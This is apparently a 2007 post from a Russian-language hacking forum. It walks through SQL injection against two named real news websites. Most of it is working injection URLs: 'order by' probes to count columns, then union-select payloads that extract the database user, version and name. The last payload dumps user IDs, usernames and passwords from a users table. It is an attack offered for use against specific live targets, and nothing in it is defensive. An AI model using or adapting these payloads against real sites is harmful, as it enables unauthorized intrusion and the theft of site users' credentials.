|
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520
Репутация:
572
|
|
cont
Barney
используй order by
http://www.neurope.eu/view_news.php?id=71989 order by 73/* и ранее ошибки нет
http://www.neurope.eu/view_news.php?id=71989 order by 74/* - ошибка, и, значит, полей 73.
http://www.neurope.eu/view_news.php?id=-71989+union+select+1,concat_ws(0x3a,user(),version (),database()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0 ,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0 ,1,2,3/*
http://www.eurohs.eu.com/front-end/news-full.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),v ersion(),database()),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 ,3,4/*
нашел users(username,password,user_id)
http://www.eurohs.eu.com/front-end/news-full.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_id, username,password),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 ,4+from+users/*
Последний раз редактировалось Серенький; 06.05.2007 в 19:52..
|